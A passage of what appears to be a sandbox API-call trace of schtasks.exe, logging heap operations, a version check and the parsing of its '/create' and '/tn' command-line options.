0x2d0000 [0135.920] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbd0) returned 1 [0135.920] GetProcessHeap () returned 0x2d0000 [0135.920] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecbd0) returned 0x20 [0135.920] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbd0 | out: hHeap=0x2d0000) returned 1 [0135.920] GetProcessHeap () returned 0x2d0000 [0135.920] GetProcessHeap () returned 0x2d0000 [0135.921] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc60) returned 1 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc60) returned 0x8 [0135.921] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc60 | out: hHeap=0x2d0000) returned 1 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc00) returned 1 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc00) returned 0x20 [0135.921] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc00 | out: hHeap=0x2d0000) returned 1 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4b0) returned 1 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed4b0) returned 0x10 [0135.921] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed4b0 | out: hHeap=0x2d0000) returned 1 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc30) returned 1 [0135.921] GetProcessHeap () returned 0x2d0000 [0135.921] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc30) returned 0x20 [0135.922] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc30 | out: hHeap=0x2d0000) returned 1 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc80) returned 1 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc80) returned 0x8 [0135.922] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc80 | out: hHeap=0x2d0000) returned 1 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc60) returned 1 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc60) returned 0x20 [0135.922] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc60 | out: hHeap=0x2d0000) returned 1 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e92c0) returned 1 [0135.922] GetProcessHeap () returned 0x2d0000 [0135.922] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e92c0) returned 0x3c [0135.923] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e92c0 | out: hHeap=0x2d0000) returned 1 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc90) returned 1 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc90) returned 0x20 [0135.923] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc90 | out: hHeap=0x2d0000) returned 1 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edca0) returned 1 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edca0) returned 0x8 [0135.923] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edca0 | out: hHeap=0x2d0000) returned 1 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccc0) returned 1 [0135.923] GetProcessHeap () returned 0x2d0000 [0135.923] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eccc0) returned 0x20 [0135.924] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccc0 | out: hHeap=0x2d0000) returned 1 [0135.924] GetProcessHeap () returned 0x2d0000 [0135.924] GetProcessHeap () returned 0x2d0000 [0135.924] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed530) returned 1 [0135.924] GetProcessHeap () returned 0x2d0000 [0135.924] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed530) returned 0x10 [0135.924] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed530 | out: hHeap=0x2d0000) returned 1 [0135.924] GetProcessHeap () returned 0x2d0000 [0135.924] GetProcessHeap () returned 0x2d0000 [0135.924] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccf0) returned 1 [0135.924] GetProcessHeap () returned 0x2d0000 [0135.924] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eccf0) returned 0x20 [0135.924] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccf0 | out: hHeap=0x2d0000) returned 1 [0135.924] GetProcessHeap () returned 0x2d0000 [0135.925] GetProcessHeap () returned 0x2d0000 [0135.925] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edcc0) returned 1 [0135.925] GetProcessHeap () returned 0x2d0000 [0135.925] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edcc0) returned 0x6 [0135.925] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edcc0 | out: hHeap=0x2d0000) returned 1 [0135.925] GetProcessHeap () returned 0x2d0000 [0135.925] GetProcessHeap () returned 0x2d0000 [0135.925] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd20) returned 1 [0135.925] GetProcessHeap () returned 0x2d0000 [0135.925] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecd20) returned 0x20 [0135.926] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecd20 | out: hHeap=0x2d0000) returned 1 [0135.926] GetProcessHeap () returned 0x2d0000 [0135.926] GetProcessHeap () returned 0x2d0000 [0135.926] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb960) returned 1 [0135.926] GetProcessHeap () returned 0x2d0000 [0135.926] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb960) returned 0x18 [0135.926] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb960 | out: hHeap=0x2d0000) returned 1 [0135.926] SetLastError (dwErrCode=0x0) [0135.926] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0135.926] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0135.926] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0135.926] VerifyVersionInfoW (in: lpVersionInformation=0x21c1d0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21c1d0) returned 1 [0135.927] SetLastError (dwErrCode=0x0) [0135.927] lstrlenW (lpString="create") returned 6 [0135.927] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0135.927] SetLastError (dwErrCode=0x490) [0135.927] SetLastError (dwErrCode=0x0) [0135.927] lstrlenW (lpString="create") returned 6 [0135.927] GetProcessHeap () returned 0x2d0000 [0135.927] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2ecd20 [0135.927] GetProcessHeap () returned 0x2d0000 [0135.927] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed530 [0135.927] _memicmp (_Buf1=0x2ed530, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.927] GetProcessHeap () returned 0x2d0000 [0135.927] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ed4b0 [0135.927] SetLastError (dwErrCode=0x0) [0135.927] _memicmp (_Buf1=0x2eba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.927] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0135.927] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0135.927] GetProcessHeap () returned 0x2d0000 [0135.927] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x74e) returned 0x2edc60 [0135.928] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2edc60 | out: lpData=0x2edc60) returned 1 [0135.928] VerQueryValueW (in: pBlock=0x2edc60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21c2b8, puLen=0x21c320 | out: lplpBuffer=0x21c2b8*=0x2edffc, puLen=0x21c320) returned 1 [0135.928] _memicmp (_Buf1=0x2eba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.928] _vsnwprintf (in: _Buffer=0x2ebbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21c298 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0135.928] VerQueryValueW (in: pBlock=0x2edc60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21c328, puLen=0x21c318 | out: lplpBuffer=0x21c328*=0x2ede28, puLen=0x21c318) returned 1 [0135.928] lstrlenW (lpString="schtasks.exe") returned 12 [0135.928] lstrlenW (lpString="schtasks.exe") returned 12 [0135.928] lstrlenW (lpString=".EXE") returned 4 [0135.928] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0135.928] lstrlenW (lpString="schtasks.exe") returned 12 [0135.928] lstrlenW (lpString=".EXE") returned 4 [0135.928] lstrlenW (lpString="schtasks") returned 8 [0135.928] lstrlenW (lpString="/create") returned 7 [0135.928] _memicmp (_Buf1=0x2eba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.928] _vsnwprintf (in: _Buffer=0x2ebbc0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x21c298 | out: _Buffer="schtasks /create") returned 16 [0135.928] _memicmp (_Buf1=0x2eba40, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.928] GetProcessHeap () returned 0x2d0000 [0135.928] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2eccf0 [0135.928] _memicmp (_Buf1=0x2eba60, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.928] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ed250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0135.928] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0135.928] GetProcessHeap () returned 0x2d0000 [0135.928] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x30) returned 0x2e7a60 [0135.928] _vsnwprintf (in: _Buffer=0x2ebfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21c298 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0135.928] GetProcessHeap () returned 0x2d0000 [0135.929] GetProcessHeap () returned 0x2d0000 [0135.929] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc60) returned 1 [0135.929] GetProcessHeap () returned 0x2d0000 [0135.929] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edc60) returned 0x74e [0135.929] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edc60 | out: hHeap=0x2d0000) returned 1 [0135.929] SetLastError (dwErrCode=0x0) [0135.929] GetThreadLocale () returned 0x409 [0135.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.929] lstrlenW (lpString="create") returned 6 [0135.929] GetThreadLocale () returned 0x409 [0135.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.929] lstrlenW (lpString="?") returned 1 [0135.929] GetThreadLocale () returned 0x409 [0135.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.929] lstrlenW (lpString="s") returned 1 [0135.929] GetThreadLocale () returned 0x409 [0135.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.929] lstrlenW (lpString="u") returned 1 [0135.929] GetThreadLocale () returned 0x409 [0135.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="p") returned 1 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="ru") returned 2 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="rp") returned 2 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="sc") returned 2 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="mo") returned 2 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="d") returned 1 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="m") returned 1 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="i") returned 1 [0135.930] GetThreadLocale () returned 0x409 [0135.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.930] lstrlenW (lpString="tn") returned 2 [0135.930] GetThreadLocale () returned 0x409 [0135.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.968] lstrlenW (lpString="tr") returned 2 [0135.968] GetThreadLocale () returned 0x409 [0135.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.968] lstrlenW (lpString="st") returned 2 [0135.968] GetThreadLocale () returned 0x409 [0135.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.968] lstrlenW (lpString="sd") returned 2 [0135.968] GetThreadLocale () returned 0x409 [0135.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.968] lstrlenW (lpString="ed") returned 2 [0135.968] GetThreadLocale () returned 0x409 [0135.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.968] lstrlenW (lpString="it") returned 2 [0135.968] GetThreadLocale () returned 0x409 [0135.968] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.968] lstrlenW (lpString="et") returned 2 [0135.968] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="k") returned 1 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="du") returned 2 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="ri") returned 2 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="z") returned 1 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="f") returned 1 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="v1") returned 2 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="xml") returned 3 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="ec") returned 2 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.969] lstrlenW (lpString="rl") returned 2 [0135.969] GetThreadLocale () returned 0x409 [0135.969] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.970] lstrlenW (lpString="delay") returned 5 [0135.970] GetThreadLocale () returned 0x409 [0135.970] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0135.970] lstrlenW (lpString="np") returned 2 [0135.970] SetLastError (dwErrCode=0x0) [0135.970] SetLastError (dwErrCode=0x0) [0135.970] lstrlenW (lpString="/create") returned 7 [0135.970] lstrlenW (lpString="-/") returned 2 [0135.970] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.970] lstrlenW (lpString="create") returned 6 [0135.970] lstrlenW (lpString="create") returned 6 [0135.970] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.970] lstrlenW (lpString="create") returned 6 [0135.970] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.970] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|create|") returned 8 [0135.970] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|create|") returned 8 [0135.970] lstrlenW (lpString="|create|") returned 8 [0135.970] lstrlenW (lpString="|create|") returned 8 [0135.970] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0135.970] SetLastError (dwErrCode=0x0) [0135.970] SetLastError (dwErrCode=0x0) [0135.970] SetLastError (dwErrCode=0x0) [0135.970] lstrlenW (lpString="/tn") returned 3 [0135.971] lstrlenW (lpString="-/") returned 2 [0135.971] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.971] lstrlenW (lpString="create") returned 6 [0135.971] lstrlenW (lpString="create") returned 6 [0135.971] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.971] lstrlenW (lpString="tn") returned 2 [0135.971] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.971] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|create|") returned 8 [0135.971] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.971] lstrlenW (lpString="|create|") returned 8 [0135.971] lstrlenW (lpString="|tn|") returned 4 [0135.971] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0135.971] SetLastError (dwErrCode=0x490) [0135.971] lstrlenW (lpString="?") returned 1 [0135.971] lstrlenW (lpString="?") returned 1 [0135.971] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.971] lstrlenW (lpString="tn") returned 2 [0135.971] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.971] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|?|") returned 3 [0135.971] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.971] lstrlenW (lpString="|?|") returned 3 [0135.971] lstrlenW (lpString="|tn|") returned 4 [0135.971] SetLastError (dwErrCode=0x490) [0135.971] lstrlenW (lpString="s") returned 1 [0135.971] lstrlenW (lpString="s") returned 1 [0135.972] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.972] lstrlenW (lpString="tn") returned 2 [0135.972] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.972] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|s|") returned 3 [0135.972] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.972] lstrlenW (lpString="|s|") returned 3 [0135.972] lstrlenW (lpString="|tn|") returned 4 [0135.972] SetLastError (dwErrCode=0x490) [0135.972] lstrlenW (lpString="u") returned 1 [0135.972] lstrlenW (lpString="u") returned 1 [0135.972] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.972] lstrlenW (lpString="tn") returned 2 [0135.972] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.972] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|u|") returned 3 [0135.972] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.972] lstrlenW (lpString="|u|") returned 3 [0135.972] lstrlenW (lpString="|tn|") returned 4 [0135.972] SetLastError (dwErrCode=0x490) [0135.972] lstrlenW (lpString="p") returned 1 [0135.972] lstrlenW (lpString="p") returned 1 [0135.972] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.972] lstrlenW (lpString="tn") returned 2 [0135.972] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.972] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|p|") returned 3 [0135.972] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.972] lstrlenW (lpString="|p|") returned 3 [0135.973] lstrlenW (lpString="|tn|") returned 4 [0135.973] SetLastError (dwErrCode=0x490) [0135.973] lstrlenW (lpString="ru") returned 2 [0135.973] lstrlenW (lpString="ru") returned 2 [0135.973] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.973] lstrlenW (lpString="tn") returned 2 [0135.973] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.973] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ru|") returned 4 [0135.973] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.973] lstrlenW (lpString="|ru|") returned 4 [0135.973] lstrlenW (lpString="|tn|") returned 4 [0135.973] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0135.973] SetLastError (dwErrCode=0x490) [0135.973] lstrlenW (lpString="rp") returned 2 [0135.973] lstrlenW (lpString="rp") returned 2 [0135.973] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.973] lstrlenW (lpString="tn") returned 2 [0135.973] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.973] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rp|") returned 4 [0135.973] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.973] lstrlenW (lpString="|rp|") returned 4 [0135.973] lstrlenW (lpString="|tn|") returned 4 [0135.973] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0135.973] SetLastError (dwErrCode=0x490) [0135.973] lstrlenW (lpString="sc") returned 2 [0135.973] lstrlenW (lpString="sc") returned 2 [0135.973] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.974] lstrlenW (lpString="tn") returned 2 [0135.974] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.974] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.974] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.974] lstrlenW (lpString="|sc|") returned 4 [0135.974] lstrlenW (lpString="|tn|") returned 4 [0135.974] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0135.974] SetLastError (dwErrCode=0x490) [0135.974] lstrlenW (lpString="mo") returned 2 [0135.974] lstrlenW (lpString="mo") returned 2 [0135.974] 